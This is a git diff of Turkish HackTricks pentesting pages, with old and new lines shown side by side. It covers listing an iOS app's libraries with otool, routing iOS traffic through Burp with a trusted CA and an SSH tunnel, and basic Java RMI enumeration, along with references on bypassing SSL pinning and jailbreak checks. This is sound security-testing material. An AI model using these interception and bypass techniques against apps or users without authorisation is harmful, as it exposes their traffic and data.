Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir. Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir.
Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir. Üçüncü taraf hizmetlerin uygulanması genellikle iki şekilde gerçekleşir: bağımsız bir kütüphane veya tam bir SDK. Bu hizmetlerle paylaşılan verilerin **anonimleştirilmesi**, Kişisel Tanımlanabilir Bilgilerin (PII) ifşasını önlemek için gereklidir.
Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, ek kütüphaneleri keşfetmek için.
```bash ```bash
otool -L <application_path> otool -L <application_path>
``` ```
## **Referanslar ve Daha Fazla Kaynak** ## **Referanslar ve Daha Fazla Kaynak**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) * [iOS ve Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
@ -1148,17 +1128,17 @@ otool -L <application_path>
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) * [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) * [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) * [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS ücretsiz kursu([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2) * [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) * [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C versiyonu [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift versiyonu * OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C sürümü [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift sürümü
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
@ -1172,10 +1152,10 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin * [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
@ -22,27 +22,27 @@ Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## iOS Cihazlarında Burp Sertifikasının Yüklenmesi ## iOS Cihazlar İçin Burp Sertifikası Yükleme
iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz: Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarda, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz:
### Burp Mobile Assistant ile Otomatik Yükleme ### Burp Mobile Assistant ile Otomatik Yükleme
**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenmesi, proxy yapılandırması ve SSL Pinning işlemini basitleştirir. Detaylı rehberliği [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulabilirsiniz. **Burp Mobile Assistant**, Burp Sertifikası, proxy yapılandırması ve SSL Pinning'in kurulum sürecini basitleştirir. Detaylı rehberlik için [PortSwigger'ın resmi belgelerine](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bakabilirsiniz.
### Manuel Yükleme Adımları ### Manuel Yükleme Adımları
1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın. 1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın.
2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin. 2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin.
3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin. 3. **Sertifika Yükleme:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
### İnterception Proxy Yapılandırma ### İnterception Proxy Yapılandırma
Bu yapılandırma, iOS cihazı ile internet arasındaki trafiğin Burp üzerinden analiz edilmesini sağlar, istemci-istemci trafiğını destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar. Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar, istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar.
### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma ### Jailbreak Yapılmış Cihazlar İçin Gelişmiş Yapılandırma
Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar: Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmenin bir yöntemi sunar:
1. **SSH Bağlantısı Kurma:** SSH'yi localhost'a yönlendirmek için iproxy kullanarak SSH bağlantısı kurun, böylece iOS cihazından Burp çalıştıran bilgisayara bağlantı sağlanır. 1. **SSH Bağlantısı Kurma:** SSH'yi localhost'a yönlendirmek için iproxy kullanarak SSH bağlantısı kurun, böylece iOS cihazından Burp çalıştıran bilgisayara bağlantı sağlanır.
@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Tam Ağ İzleme/Sniffing ### Tam Ağ İzleme/Sniffing
**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir. **Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkin bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafiği izlemek için bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, bir macOS sisteminde **Wireshark**'ın yüklenmesi gerekmektedir.
Prosedür birkaç temel adımı içerir: Prosedür birkaç temel adımı içerir:
@ -80,8 +80,8 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
![](<../../.gitbook/assets/image (459).png>) ![](<../../.gitbook/assets/image (459).png>)
* Sertifikayı Emülatöre **sürükleyip bırakın** * Sertifikayı Emülatöre **sürükleyip bırakın**
* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın** * **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın**
* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin** * **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin**
![](<../../.gitbook/assets/image (460).png>) ![](<../../.gitbook/assets/image (460).png>)
@ -93,34 +93,34 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
### MacOS Proxy Yapılandırması ### MacOS Proxy Yapılandırması
Burp'u proxy olarak yapılandırma adımları: Proxy olarak Burp'u yapılandırma adımları:
* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin * _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_'e gidin
* _Proxyler_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin * _Vekiller_ sekmesinde _Web Vekili (HTTP)_ ve _Güvenli Web Vekili (HTTPS)_ işaretleyin
* Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın * Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın
![](<../../.gitbook/assets/image (461).png>) ![](<../../.gitbook/assets/image (461).png>)
* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine basın * _**Tamam**_ düğmesine tıklayın ve _**Uygula**_'ya basın
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturabilir ve **otomatikleştirebilirsiniz**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin!</summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın * [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destekleyin.
</details> </details>

View file

@ -2,29 +2,29 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler ## Temel Bilgiler
_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir nesne odaklı _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına izin verir. Bu, geliştiricilere nesne odaklı bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir. _Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilere nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazma imkanı sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 **Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
``` ```
@ -36,18 +36,18 @@ PORT STATE SERVICE VERSION
``` ```
Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır. Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.
_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız. _nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
## RMI Bileşenleri ## RMI Bileşenleri
Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır: Basit bir ifadeyle, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
